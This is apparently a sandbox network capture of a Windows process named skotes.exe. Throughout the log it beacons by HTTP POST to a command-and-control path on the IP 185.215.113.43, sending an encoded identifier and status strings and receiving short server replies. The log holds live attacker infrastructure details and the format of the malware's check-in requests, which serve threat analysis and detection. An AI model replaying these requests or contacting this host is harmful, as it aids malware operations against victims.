Nov 22, 2024 04:14:17.686474085 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:14:19.130467892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50177	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:20.875914097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:14:22.285497904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50178	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:23.922950983 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:14:25.279709101 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50180	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:27.027096033 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:14:27.462131977 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:14:28.851273060 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50185	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:30.484533072 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:14:31.829762936 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50189	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:33.581171989 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:14:35.021800995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50190	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:36.654326916 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:14:38.084186077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50193	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:39.814938068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:14:41.191380024 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50196	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:42.819209099 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:14:44.255681992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50199	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:46.006254911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:14:47.336447954 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50202	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:48.970818043 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:14:50.362363100 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50204	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:52.111238003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:14:53.499115944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50206	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:55.130357981 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:14:56.567481995 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50216	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:58.316721916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:14:59.702781916 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50221	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:01.338036060 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:15:02.718010902 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50222	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:04.471365929 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:15:05.848159075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50225	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:07.507333040 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:15:08.898396015 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50227	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:10.647774935 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:15:12.070700884 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50235	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:13.704739094 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:15:15.108220100 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50236	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:16.849021912 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:15:18.291168928 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50254	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:19.931381941 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:15:21.385140896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50258	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:23.135689974 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:15:24.573694944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50260	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:15:26.201531887 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:15:27.546514988 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:15:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
